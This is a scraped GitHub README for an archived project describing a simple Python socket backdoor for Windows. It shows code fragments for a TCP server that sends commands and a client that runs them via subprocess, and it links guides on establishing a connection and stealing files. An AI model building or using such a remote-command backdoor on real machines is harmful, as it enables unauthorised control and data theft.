Skip to content
This repository was archived by the owner on Dec 31, 2023. It is now read-only.

Simple backdoor using lib python's socket and subprocess for Windows

Notifications You must be signed in to change notification settings

aleff-github/Backdoor-Client-Server-Socket-Python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

22 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Backdoor-Client-Server-Socket-Python

Simple backdoor using lib python's socket

YouTube Video: https://youtu.be/pE5qPvMZ-DM

lib

  • from socket import * # for connection
  • import subprocess # for cmd command

Server

  • sock = socket(AF_INET, SOCK_STREAM) # set TCP socket
  • port = 12345 # port of server
  • sock.bind(('', port)) && sock.listen(1) # set server
  • conn, addr = sock.accept() # conn = connection && addr = (client)address
  • conn.send(command.encode()) # send in array bytes
  • conn.recv(1024).decode("utf-8") #receive and convert in string

Client

  • CMD = subprocess.Popen(command, ...) # set subprocess for send CMD command

Guides

Guides Links
Establish A Connection Link
Steal Files Link
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy